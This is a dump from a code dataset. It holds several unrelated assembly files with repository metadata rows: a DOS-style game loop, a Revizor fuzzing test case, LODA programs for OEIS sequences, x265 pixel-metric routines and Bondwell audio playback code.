add ebx, ofst numbersArray ; add origin to make offset correct
invoke drd_imageDraw, ebx, xPos, yPos ; Draw
;#endregion
popad
ret 8
drawScore endp
main proc
;#region general setup
; Create the window
invoke drd_init, 1000, 600, 0
; Set the key handler
invoke drd_setKeyHandler, ofst keyhandle
; Set window name
invoke drd_setWindowTitle, ofst windowName
; Load the images into RAM
invoke drd_imageLoadFile, ofst d_Player_Still, ofst Player_Still
invoke drd_imageLoadFile, ofst d_Player_Bullet, ofst Player_Bullet
invoke drd_imageLoadFile, ofst d_Enemy0, ofst Enemy0
invoke drd_imageLoadFile, ofst d_EnemyBullet0, ofst EnemyBullet0
invoke drd_imageLoadFile, ofst d_Brick4hp, ofst Brick4hp
invoke drd_imageLoadFile, ofst d_Brick3hp, ofst Brick3hp
invoke drd_imageLoadFile, ofst d_Brick2hp, ofst Brick2hp
invoke drd_imageLoadFile, ofst d_Brick1hp, ofst Brick1hp
invoke drd_imageLoadFile, ofst d_background, ofst background
invoke drd_imageLoadFile, ofst d_gameoverScreen, ofst gameoverScreen
invoke drd_imageLoadFile, ofst d_mainMenu, ofst mainMenu
invoke drd_imageLoadFile, ofst d_winScreen, ofst winScreen
invoke drd_imageLoadFile, ofst d_boom, ofst boom
invoke drd_imageLoadFile, ofst d_Enemy1, ofst Enemy1
; Load the numbers
mov ecx, 10 ; Loop 10 times (10 numbers)
lea ebx, numbersArray ; The Img<> object location
lea esi, d_numberBase ; The directory of the image
LOAD_NUMBERS:
push ecx
invoke drd_imageLoadFile, esi, ebx ; Load the image
pop ecx
add ebx, imageObjectSize ; Shift one image in the array
inc BYTE ptr [esi + numbersOfst] ; Change the ASCII value of byte 16 in the adress by one so '0' -> '1' -> '2' -> '3' -> ... -> '9'
loop LOAD_NUMBERS
; Startup all the game variables
invoke initGameStartup
;#endregion
;#region menu
menuSetup:
; Draw the main menu screen
invoke drd_imageDraw, ofst mainMenu, 0, 0
invoke drd_flip
menuLoop:
invoke drd_processMessages
cmp eax, 0
je exitGame
cmp GAME_STAGE, Stage_MENU
je menuLoop
cmp GAME_STAGE, Stage_EXIT
je exitGame
; I don't check for Stage_PLAYING because it's the third option and doesn't require a jump
;#endregion
;#region game
gameSetup:
invoke initGame
gameLoop:
invoke drd_imageDraw, ofst background, 0, 0 ; Draw the background over all existing items, thus making them invisible
invoke drawScore, 0, 0 ; Draw the score for the player
;#region handle objects loop (Handle movment + ai + drawing of all objects)
xor ecx, ecx
mov esi, ofst ghosts
MAD_LOOP:
push ecx
push esi
invoke handleGameObject, esi
pop esi
pop ecx
add esi, gameObjectSize
inc ecx
cmp ecx, 168
jne MAD_LOOP
;#endregion
;#region Collision detection
xor ecx, ecx
mov esi, ofst allGameObjects
COLL_LOOP:
push ecx
push esi
invoke checkCollision, esi
pop esi
pop ecx
add esi, gameObjectSize
inc ecx
cmp ecx, 112
jne COLL_LOOP
;#endregion
;#region End of frame stuff
cmp SCORE, 55
je playerWonSetup
mov ebx, LEADER
cmp DWORD ptr [ebx + go_exists], TRUE
je LEADER_ALIVE
invoke getLeader
LEADER_ALIVE:
invoke drd_flip ; Draw all the things
mov playerObject.xVelocity, 0 ; Nullify the player speed
mov LEADER_SPOKE, FALSE ; Leader can't forsee the next frame, and therefor is silent
mov JUMP_DOWN, FALSE ; Can't jump down twice
invoke drd_processMessages ; Check keypresses
cmp eax, 0
je exitGame
invoke modulu, FRAME_COUNT, 10000
cmp eax, 0
jne NO_INCREASE
dec INVADER_SPEED
cmp INVADER_SPEED, 0
jne NO_INCREASE
inc INVADER_SPEED
NO_INCREASE:
inc FRAME_COUNT ; Another frame bites the dust
;#endregion
cmp GAME_STAGE, Stage_PLAYING
je gameLoop
cmp GAME_STAGE, Stage_GAMEOVER
je gameOverSetup
; Third option is Stage_WIN which doesn't reqire a jump
;#endregion
;#region player won
playerWonSetup:
; Set stage
mov GAME_STAGE, Stage_WIN
; Draw the screen
invoke drd_imageDraw, ofst winScreen, 0, 0
invoke drawScore, 700, 400
invoke drd_flip
winLoop:
invoke drd_processMessages
cmp eax, 0
je exitGame
cmp GAME_STAGE, Stage_WIN
je winLoop
cmp GAME_STAGE, Stage_PLAYING
je gameSetup
cmp GAME_STAGE, Stage_MENU
je menuSetup
;#endregion
;#region gameover
gameOverSetup:
; Draw game over screen
invoke drd_imageDraw, ofst gameoverScreen, 0, 0
invoke drawScore, 700, 400
invoke drd_flip
; ~~~ Game over loop ~~~
gameOver:
invoke drd_processMessages
cmp eax, 0
je exitGame
cmp GAME_STAGE, Stage_GAMEOVER
je gameOver
cmp GAME_STAGE, Stage_PLAYING
je gameSetup
cmp GAME_STAGE, Stage_MENU
je menuSetup
;#endregion
exitGame:
invoke ExitProcess, 0
ret
main endp
end main
| 24.466019
| 141
| 0.712576
|
82556f9ad7e6a69fbab72bafb443a1c964b2a029
| 2,115
|
asm
|
Assembly
|
src/tests/generated-fn/080635-09-11-20.asm
|
mguarnieri/revizor
|
a3d91b19d91bcc9a266b7f10e5b9631906ebfedd
|
[
"MIT"
] | 29
|
2021-05-24T12:45:19.000Z
|
2022-03-16T16:53:10.000Z
|
src/tests/generated-fn/080635-09-11-20.asm
|
mguarnieri/revizor
|
a3d91b19d91bcc9a266b7f10e5b9631906ebfedd
|
[
"MIT"
] | 3
|
2021-11-23T15:37:25.000Z
|
2022-01-24T12:01:44.000Z
|
src/tests/generated-fn/080635-09-11-20.asm
|
mguarnieri/revizor
|
a3d91b19d91bcc9a266b7f10e5b9631906ebfedd
|
[
"MIT"
] | 3
|
2021-06-17T09:00:27.000Z
|
2022-03-28T03:42:01.000Z
|
.intel_syntax noprefix
.test_case_enter:
test_case_main:
.test_case_main.entry:
IMUL EDI, EDI, 2891336453
ADD EDI, 12345
MOV EAX, EDI
IMUL EDI, EDI, 2891336453
ADD EDI, 12345
MOV EBX, EDI
IMUL EDI, EDI, 2891336453
ADD EDI, 12345
MOV ECX, EDI
IMUL EDI, EDI, 2891336453
ADD EDI, 12345
MOV EDX, EDI
IMUL EDI, EDI, 2891336453
ADD EDI, 12345
MOV ESI, EDI
IMUL EDI, EDI, 2891336453
ADD EDI, 12345
MOV R13D, EDI
ADD RSP, 8
IMUL EDI, EDI, 2891336453
ADD EDI, 12345
PUSHQ RDI
AND qword ptr [RSP], 2263
OR qword ptr [RSP], 2
POPFQ
LEA RSP, qword ptr [RSP - 8]
LFENCE
JMP .bb0
.bb0:
ADC CX, -30805
REX SETB R13B
AND RDX, 0b111111000000
ADD RDX, R14
CMOVLE DX, word ptr [RDX]
{load} AND RCX, RAX
INC CL
CMOVNZ ECX, ESI
OR CX, 31320
NOT CL
AND RCX, 0b111111000000
ADD RCX, R14
OR word ptr [RCX], 7069
CMOVNZ EAX, EAX
AND RBX, 0b111111000000
ADD RBX, R14
MOV RDX, 0
OR byte ptr [RBX], 0xef
AND RAX, 0xff
DIV byte ptr [RBX]
XCHG RSI, RAX
{load} SUB CL, BL
{store} ADC AX, DX
REX XOR DL, 55
{load} CMP R13W, AX
JS .bb1
JMP .bb2
.bb1:
{load} SUB SI, R13W
{load} MOV EAX, EAX
SBB RAX, -2091004732
SBB AX, 11050
{load} CMP ECX, EAX
CMOVO EDX, EDX
{store} SUB CL, BL
REX SETZ R13B
{store} MOV SI, CX
REX XOR AL, 62
REX NEG CL
TEST RCX, 451206169
ADD RAX, -380421594
{load} REX MOV BL, BL
AND RCX, 0b111111000000
ADD RCX, R14
LOCK SBB qword ptr [RCX], -1474235705
REX SETP R13B
JP .bb2
JMP .bb3
.bb2:
CMP EBX, -116
OR EDX, 97
AND SI, 25988
CMOVNP ECX, R13D
MOV RSI, 2564513283600421182
REX SETNO BL
MOVZX RSI, BX
{store} AND RAX, RDX
XCHG DX, SI
OR BL, 25
MOVZX RCX, BX
{store} ADC SI, DX
AND RSI, 0b111111000000
ADD RSI, R14
LOCK ADC dword ptr [RSI], -736273717
{load} SUB CX, SI
AND RBX, 0b111111000000
ADD RBX, R14
LOCK REX ADD byte ptr [RBX], BL
JMP .bb3
.bb3:
TEST BX, 2711
{load} MOV EBX, ECX
SUB EAX, -40
REX SETNB R13B
REX TEST AL, BL
AND RDX, 0b111111000000
ADD RDX, R14
LOCK XOR byte ptr [RDX], CL
MOV RDX, 0
OR RSI, 0x61
AND RAX, 0xff
DIV RSI
XOR BX, -110
CMOVLE RCX, R13
SBB DX, -50
INC EAX
STD
SETZ BL
OR DX, 95
{load} REX AND CL, R13B
REX SETNB DL
JMP .test_case_main.exit
.test_case_main.exit:
.test_case_exit:
MFENCE
| 16.395349
| 37
| 0.720095
|
93744d16212f0cfbaa90e7d8c5b40ef78ec4e447
| 563
|
asm
|
Assembly
|
programs/oeis/176/A176814.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/176/A176814.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/176/A176814.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A176814: The number of iterations needed to reach 1 under the map n-> n-bigomega(n)).
; 0,1,2,2,3,3,4,4,5,5,6,6,7,7,8,7,8,9,10,9,11,10,11,10,12,11,11,13,14,12,13,12,14,13,15,13,14,14,15,14,15,16,17,16,17,17,18,18,19,19,20,20,21,20,22,21,23,22,23,22,23,23,23,23,24,24,25,25,26,26,27,26,27,27,27,28,28,28,29,28,29,29,30,29,31,30,32,30,31,31,32,32,33,33,34,32,33,35,33,33
lpb $0
mov $2,$0
seq $2,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)).
sub $0,$2
mov $3,$2
min $3,1
add $1,$3
lpe
mov $0,$1
| 43.307692
| 282
| 0.646536
|
2c2e266d3a348f0abce8e551b9fe32b3b0026266
| 10,957
|
asm
|
Assembly
|
x265/source/common/x86/pixel-32.asm
|
xu5343/ffmpegtoolkit_CentOS7
|
974496c709a1c8c69034e46ae5ce7101cf03716f
|
[
"Apache-2.0"
] | 14
|
2019-02-26T22:22:32.000Z
|
2022-03-03T07:06:58.000Z
|
x265/source/common/x86/pixel-32.asm
|
xu5343/ffmpegtoolkit_CentOS7
|
974496c709a1c8c69034e46ae5ce7101cf03716f
|
[
"Apache-2.0"
] | null | null | null |
x265/source/common/x86/pixel-32.asm
|
xu5343/ffmpegtoolkit_CentOS7
|
974496c709a1c8c69034e46ae5ce7101cf03716f
|
[
"Apache-2.0"
] | 7
|
2019-05-17T19:14:10.000Z
|
2021-08-31T01:54:40.000Z
|
;*****************************************************************************
;* pixel-32.asm: x86_32 pixel metrics
;*****************************************************************************
;* Copyright (C) 2003-2013 x264 project
;* Copyright (C) 2013-2017 MulticoreWare, Inc
;*
;* Authors: Loren Merritt <lorenm@u.washington.edu>
;* Laurent Aimar <fenrir@via.ecp.fr>
;*
;* This program is free software; you can redistribute it and/or modify
;* it under the terms of the GNU General Public License as published by
;* the Free Software Foundation; either version 2 of the License, or
;* (at your option) any later version.
;*
;* This program is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;* GNU General Public License for more details.
;*
;* You should have received a copy of the GNU General Public License
;* along with this program; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.
;*
;* This program is also available under a commercial proprietary license.
;* For more information, contact us at license @ x265.com.
;*****************************************************************************
%include "x86inc.asm"
%include "x86util.asm"
cextern pw_ppmmppmm
cextern pw_pmpmpmpm
SECTION .text
INIT_MMX mmx2
%macro LOAD_DIFF_4x8P 1 ; dx
LOAD_DIFF m0, m7, none, [r0+%1], [r2+%1]
LOAD_DIFF m1, m6, none, [r0+%1+r1], [r2+%1+r3]
LOAD_DIFF m2, m7, none, [r0+%1+r1*2], [r2+%1+r3*2]
LOAD_DIFF m3, m6, none, [r0+%1+r4], [r2+%1+r5]
lea r0, [r0+4*r1]
lea r2, [r2+4*r3]
LOAD_DIFF m4, m7, none, [r0+%1], [r2+%1]
LOAD_DIFF m5, m6, none, [r0+%1+r1], [r2+%1+r3]
LOAD_DIFF m6, m7, none, [r0+%1+r1*2], [r2+%1+r3*2]
movq [spill], m5
LOAD_DIFF m7, m5, none, [r0+%1+r4], [r2+%1+r5]
movq m5, [spill]
%endmacro
%macro SUM4x8_MM 0
movq [spill], m6
movq [spill+8], m7
ABSW2 m0, m1, m0, m1, m6, m7
ABSW2 m2, m3, m2, m3, m6, m7
paddw m0, m2
paddw m1, m3
movq m6, [spill]
movq m7, [spill+8]
ABSW2 m4, m5, m4, m5, m2, m3
ABSW2 m6, m7, m6, m7, m2, m3
paddw m4, m6
paddw m5, m7
paddw m0, m4
paddw m1, m5
paddw m0, m1
%endmacro
;-----------------------------------------------------------------------------
; int pixel_sa8d_8x8( uint8_t *, intptr_t, uint8_t *, intptr_t )
;-----------------------------------------------------------------------------
cglobal pixel_sa8d_8x8_internal
push r0
push r2
sub esp, 0x74
%define args esp+0x74
%define spill esp+0x60 ; +16
%define trans esp+0 ; +96
LOAD_DIFF_4x8P 0
HADAMARD8_V 0, 1, 2, 3, 4, 5, 6, 7
movq [spill], m1
TRANSPOSE4x4W 4, 5, 6, 7, 1
movq [trans+0x00], m4
movq [trans+0x08], m5
movq [trans+0x10], m6
movq [trans+0x18], m7
movq m1, [spill]
TRANSPOSE4x4W 0, 1, 2, 3, 4
movq [trans+0x20], m0
movq [trans+0x28], m1
movq [trans+0x30], m2
movq [trans+0x38], m3
mov r0, [args+4]
mov r2, [args]
LOAD_DIFF_4x8P 4
HADAMARD8_V 0, 1, 2, 3, 4, 5, 6, 7
movq [spill], m7
TRANSPOSE4x4W 0, 1, 2, 3, 7
movq [trans+0x40], m0
movq [trans+0x48], m1
movq [trans+0x50], m2
movq [trans+0x58], m3
movq m7, [spill]
TRANSPOSE4x4W 4, 5, 6, 7, 1
movq m0, [trans+0x00]
movq m1, [trans+0x08]
movq m2, [trans+0x10]
movq m3, [trans+0x18]
HADAMARD8_V 0, 1, 2, 3, 4, 5, 6, 7
SUM4x8_MM
movq [trans], m0
movq m0, [trans+0x20]
movq m1, [trans+0x28]
movq m2, [trans+0x30]
movq m3, [trans+0x38]
movq m4, [trans+0x40]
movq m5, [trans+0x48]
movq m6, [trans+0x50]
movq m7, [trans+0x58]
HADAMARD8_V 0, 1, 2, 3, 4, 5, 6, 7
SUM4x8_MM
pavgw m0, [trans]
add esp, 0x7c
ret
%undef args
%undef spill
%undef trans
%macro SUM_MM_X3 8 ; 3x sum, 4x tmp, op
pxor %7, %7
pshufw %4, %1, q1032
pshufw %5, %2, q1032
pshufw %6, %3, q1032
paddusw %1, %4
paddusw %2, %5
paddusw %3, %6
punpcklwd %1, %7
punpcklwd %2, %7
punpcklwd %3, %7
pshufw %4, %1, q1032
pshufw %5, %2, q1032
pshufw %6, %3, q1032
%8 %1, %4
%8 %2, %5
%8 %3, %6
%endmacro
%macro LOAD_4x8P 1 ; dx
pxor m7, m7
movd m6, [r0+%1+7*FENC_STRIDE]
movd m0, [r0+%1+0*FENC_STRIDE]
movd m1, [r0+%1+1*FENC_STRIDE]
movd m2, [r0+%1+2*FENC_STRIDE]
movd m3, [r0+%1+3*FENC_STRIDE]
movd m4, [r0+%1+4*FENC_STRIDE]
movd m5, [r0+%1+5*FENC_STRIDE]
punpcklbw m6, m7
punpcklbw m0, m7
punpcklbw m1, m7
movq [spill], m6
punpcklbw m2, m7
punpcklbw m3, m7
movd m6, [r0+%1+6*FENC_STRIDE]
punpcklbw m4, m7
punpcklbw m5, m7
punpcklbw m6, m7
movq m7, [spill]
%endmacro
%macro HSUMSUB2 4
pshufw m4, %1, %3
pshufw m5, %2, %3
pmullw %1, %4
pmullw m5, %4
paddw %1, m4
paddw %2, m5
%endmacro
;-----------------------------------------------------------------------------
; void intra_sa8d_x3_8x8( uint8_t *fenc, uint8_t edge[36], int *res )
;-----------------------------------------------------------------------------
cglobal intra_sa8d_x3_8x8, 2,3
SUB esp, 0x94
%define edge esp+0x70 ; +32
%define spill esp+0x60 ; +16
%define trans esp+0 ; +96
%define sum esp+0 ; +32
pxor m7, m7
movq m0, [r1+7]
movq m2, [r1+16]
movq m1, m0
movq m3, m2
punpcklbw m0, m7
punpckhbw m1, m7
punpcklbw m2, m7
punpckhbw m3, m7
movq m6, [pw_ppmmppmm]
HSUMSUB2 m0, m2, q1032, m6
HSUMSUB2 m1, m3, q1032, m6
movq m6, [pw_pmpmpmpm]
HSUMSUB2 m0, m2, q2301, m6
HSUMSUB2 m1, m3, q2301, m6
movq m4, m0
movq m5, m2
paddw m0, m1
paddw m2, m3
psubw m4, m1
psubw m3, m5
movq [edge+0], m0
movq [edge+8], m4
movq [edge+16], m2
movq [edge+24], m3
LOAD_4x8P 0
HADAMARD8_V 0, 1, 2, 3, 4, 5, 6, 7
movq [spill], m0
TRANSPOSE4x4W 4, 5, 6, 7, 0
movq [trans+0x00], m4
movq [trans+0x08], m5
movq [trans+0x10], m6
movq [trans+0x18], m7
movq m0, [spill]
TRANSPOSE4x4W 0, 1, 2, 3, 4
movq [trans+0x20], m0
movq [trans+0x28], m1
movq [trans+0x30], m2
movq [trans+0x38], m3
LOAD_4x8P 4
HADAMARD8_V 0, 1, 2, 3, 4, 5, 6, 7
movq [spill], m7
TRANSPOSE4x4W 0, 1, 2, 3, 7
movq [trans+0x40], m0
movq [trans+0x48], m1
movq [trans+0x50], m2
movq [trans+0x58], m3
movq m7, [spill]
TRANSPOSE4x4W 4, 5, 6, 7, 0
movq m0, [trans+0x00]
movq m1, [trans+0x08]
movq m2, [trans+0x10]
movq m3, [trans+0x18]
HADAMARD8_V 0, 1, 2, 3, 4, 5, 6, 7
movq [spill+0], m0
movq [spill+8], m1
ABSW2 m2, m3, m2, m3, m0, m1
ABSW2 m4, m5, m4, m5, m0, m1
paddw m2, m4
paddw m3, m5
ABSW2 m6, m7, m6, m7, m4, m5
movq m0, [spill+0]
movq m1, [spill+8]
paddw m2, m6
paddw m3, m7
paddw m2, m3
ABSW m1, m1, m4
paddw m2, m1 ; 7x4 sum
movq m7, m0
movq m1, [edge+8] ; left bottom
psllw m1, 3
psubw m7, m1
ABSW2 m0, m7, m0, m7, m5, m3
paddw m0, m2
paddw m7, m2
movq [sum+0], m0 ; dc
movq [sum+8], m7 ; left
movq m0, [trans+0x20]
movq m1, [trans+0x28]
movq m2, [trans+0x30]
movq m3, [trans+0x38]
movq m4, [trans+0x40]
movq m5, [trans+0x48]
movq m6, [trans+0x50]
movq m7, [trans+0x58]
HADAMARD8_V 0, 1, 2, 3, 4, 5, 6, 7
movd [sum+0x10], m0
movd [sum+0x12], m1
movd [sum+0x14], m2
movd [sum+0x16], m3
movd [sum+0x18], m4
movd [sum+0x1a], m5
movd [sum+0x1c], m6
movd [sum+0x1e], m7
movq [spill], m0
movq [spill+8], m1
ABSW2 m2, m3, m2, m3, m0, m1
ABSW2 m4, m5, m4, m5, m0, m1
paddw m2, m4
paddw m3, m5
paddw m2, m3
movq m0, [spill]
movq m1, [spill+8]
ABSW2 m6, m7, m6, m7, m4, m5
ABSW m1, m1, m3
paddw m2, m7
paddw m1, m6
paddw m2, m1 ; 7x4 sum
movq m1, m0
movq m7, [edge+0]
psllw m7, 3 ; left top
mov r2, [edge+0]
add r2, [edge+16]
lea r2, [4*r2+32]
and r2, 0xffc0
movd m6, r2 ; dc
psubw m1, m7
psubw m0, m6
ABSW2 m0, m1, m0, m1, m5, m6
movq m3, [sum+0] ; dc
paddw m0, m2
paddw m1, m2
movq m2, m0
paddw m0, m3
paddw m1, [sum+8] ; h
psrlq m2, 16
paddw m2, m3
movq m3, [edge+16] ; top left
movq m4, [edge+24] ; top right
psllw m3, 3
psllw m4, 3
psubw m3, [sum+16]
psubw m4, [sum+24]
ABSW2 m3, m4, m3, m4, m5, m6
paddw m2, m3
paddw m2, m4 ; v
SUM_MM_X3 m0, m1, m2, m3, m4, m5, m6, pavgw
mov r2, r2m
pxor m7, m7
punpckldq m2, m1
pavgw m0, m7
pavgw m2, m7
movd [r2+8], m0 ; dc
movq [r2+0], m2 ; v, h
ADD esp, 0x94
RET
%undef edge
%undef spill
%undef trans
%undef sum
;-----------------------------------------------------------------------------
; void pixel_ssim_4x4x2_core( const uint8_t *pix1, intptr_t stride1,
; const uint8_t *pix2, intptr_t stride2, int sums[2][4] )
;-----------------------------------------------------------------------------
cglobal pixel_ssim_4x4x2_core, 0,5
mov r1, r1m
mov r3, r3m
mov r4, 4
pxor m0, m0
.loop:
mov r0, r0m
mov r2, r2m
add r0, r4
add r2, r4
pxor m1, m1
pxor m2, m2
pxor m3, m3
pxor m4, m4
%rep 4
movd m5, [r0]
movd m6, [r2]
punpcklbw m5, m0
punpcklbw m6, m0
paddw m1, m5
paddw m2, m6
movq m7, m5
pmaddwd m5, m5
pmaddwd m7, m6
pmaddwd m6, m6
paddd m3, m5
paddd m4, m7
paddd m3, m6
add r0, r1
add r2, r3
%endrep
mov r0, r4m
lea r0, [r0+r4*4]
pshufw m5, m1, q0032
pshufw m6, m2, q0032
paddusw m1, m5
paddusw m2, m6
punpcklwd m1, m2
pshufw m2, m1, q0032
pshufw m5, m3, q0032
pshufw m6, m4, q0032
paddusw m1, m2
paddd m3, m5
paddd m4, m6
punpcklwd m1, m0
punpckldq m3, m4
movq [r0+0], m1
movq [r0+8], m3
sub r4, 4
jge .loop
emms
RET
| 25.964455
| 85
| 0.496121
|
24fef8f92fab11bebc8430e8633f4570b61a9c57
| 699
|
asm
|
Assembly
|
programs/oeis/155/A155587.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/155/A155587.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/155/A155587.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A155587: Expansion of (1 + x*c(x))/(1 - x), where c(x) is the g.f. of A000108.
; 1,2,3,5,10,24,66,198,627,2057,6919,23715,82501,290513,1033413,3707853,13402698,48760368,178405158,656043858,2423307048,8987427468,33453694488,124936258128,467995871778,1757900019102,6619846420554,24987199492706,94520750408710,358268702159070,1360510918810438,5175497420902742
mov $3,$0
mov $10,$0
add $10,1
lpb $10,1
mov $0,$3
trn $10,1
sub $0,$10
mov $5,2
mov $9,$0
lpb $5,1
mov $0,$9
sub $0,1
trn $0,1
mov $7,$0
add $0,1
mov $4,$6
add $4,$0
mov $8,$0
add $8,2
mov $2,$8
add $2,$7
mov $0,$2
bin $2,$4
div $2,$0
sub $5,1
lpe
add $1,$2
lpe
| 21.84375
| 277
| 0.618026
|
cbd3155ffc2780be2fa26fd25fda0b1f9246e1a9
| 598
|
asm
|
Assembly
|
oeis/059/A059014.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/059/A059014.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/059/A059014.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A059014: Numbers that have an even number of 0's and an odd number of 1's in binary expansion.
; Submitted by Christian Krause
; 1,4,7,16,19,21,22,25,26,28,31,64,67,69,70,73,74,76,79,81,82,84,87,88,91,93,94,97,98,100,103,104,107,109,110,112,115,117,118,121,122,124,127,256,259,261,262,265,266,268,271,273,274,276,279,280,283,285,286,289,290,292,295,296,299,301,302,304,307,309,310,313,314,316,319,321,322,324,327,328,331,333,334,336,339,341,342,345,346,348,351,352,355,357,358,361,362,364,367,369
mul $0,2
trn $0,1
seq $0,59011 ; Odd number of 0's and 1's in binary expansion.
add $0,1
div $0,2
| 59.8
| 369
| 0.720736
|
c70afd581ace88a930ba997158613fbb789e08d6
| 450
|
asm
|
Assembly
|
programs/oeis/037/A037225.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/037/A037225.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/037/A037225.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A037225: a(n) = phi(2n+1).
; 1,2,4,6,6,10,12,8,16,18,12,22,20,18,28,30,20,24,36,24,40,42,24,46,42,32,52,40,36,58,60,36,48,66,44,70,72,40,60,78,54,82,64,56,88,72,60,72,96,60,100,102,48,106,108,72,112,88,72,96,110,80,100,126,84,130,108,72,136,138,92,120,112,84,148,150,96,120,156,104,132,162,80,166,156,108,172,120,116,178,180,120,144,160,108,190,192,96,196,198
mul $0,2
seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
| 75
| 332
| 0.677778
|
6d54aa221a9f42a77a3ef1ca3a2b5e481d08bef7
| 1,202
|
asm
|
Assembly
|
libsrc/target/bondwell/playzb4.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/target/bondwell/playzb4.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/target/bondwell/playzb4.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
;
;Based on the SG C Tools 1.7
;(C) 1993 Steve Goldsmith
;
; Bondwell 12/24 version (4mhz CPU, DAC on port $50)
; calibrated for a fixed 8khz bitrate
;
;$Id: playzb4.asm $
;
; extern void __LIB__ playzb4(uchar *SamStart, ushort SamLen);
; play 4 bit pulse wave encoded data using sid master volume
SECTION code_clib
PUBLIC playzb4
PUBLIC _playzb4
playzb4:
_playzb4:
;call csv
;ld l,(ix+6) ;sample start addr
;ld h,(ix+7)
;ld e,(ix+8) ;sample length
;ld d,(ix+9)
pop bc
pop de ;sample length
pop hl ;sample start addr
push hl
push de
push bc
rep1:
;; delay 1
ld b,36
rep1b: ;repeat
djnz rep1b
ld a,(hl) ; a = sample byte
and $f0 ; 4 bit nibble
out ($50),a
;; delay 2
ld b,36
rep2: ;repeat
djnz rep2
ld a,(hl) ; a = sample byte
rlca ; a = a div 16
rlca ;
rlca ;
rlca ;
and $f0 ; 4 bit nibble
out ($50),a
inc hl ; hl = hl+1
dec e ;
jr nz,rep1 ;
dec d ; de = de-1
jr nz,rep1 ;until de = 0
ret
| 17.676471
| 62
| 0.500832
|
5fb307ef6aeb67c3175ff9460ec7154e6bbfe3b8
| 621
|
asm
|
Assembly
|
oeis/079/A079935.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/079/A079935.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/079/A079935.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A079935: a(n) = 4*a(n-1) - a(n-2) with a(1) = 1, a(2) = 3.
; 1,3,11,41,153,571,2131,7953,29681,110771,413403,1542841,5757961,21489003,80198051,299303201,1117014753,4168755811,15558008491,58063278153,216695104121,808717138331,3018173449203,11263976658481,42037733184721,156886956080403,585510091136891,2185153408467161,8155103542731753,30435260762459851,113585939507107651,423908497265970753,1582048049556775361,5904283700961130691,22035086754287747403,82236063316189858921,306909166510471688281,1145400602725696894203,4274693244392315888531
mov $1,1
lpb $0
sub $0,1
add $2,$1
add $1,$2
add $1,$2
lpe
mov $0,$1
| 51.75
| 481
| 0.811594
|
e06753b8043fa307ffa73d8c2da666f1e220b3fb
| 4,198
|
asm
|
Assembly
|
include/mpir-3.0.0/mpn/add_err2_n.asm
|
theprogrammermachine/EogenVirtualMachine
|
dc68bc61ab60fb206477e7eab35e69b5e161d9bd
|
[
"Apache-2.0"
] | null | null | null |
include/mpir-3.0.0/mpn/add_err2_n.asm
|
theprogrammermachine/EogenVirtualMachine
|
dc68bc61ab60fb206477e7eab35e69b5e161d9bd
|
[
"Apache-2.0"
] | null | null | null |
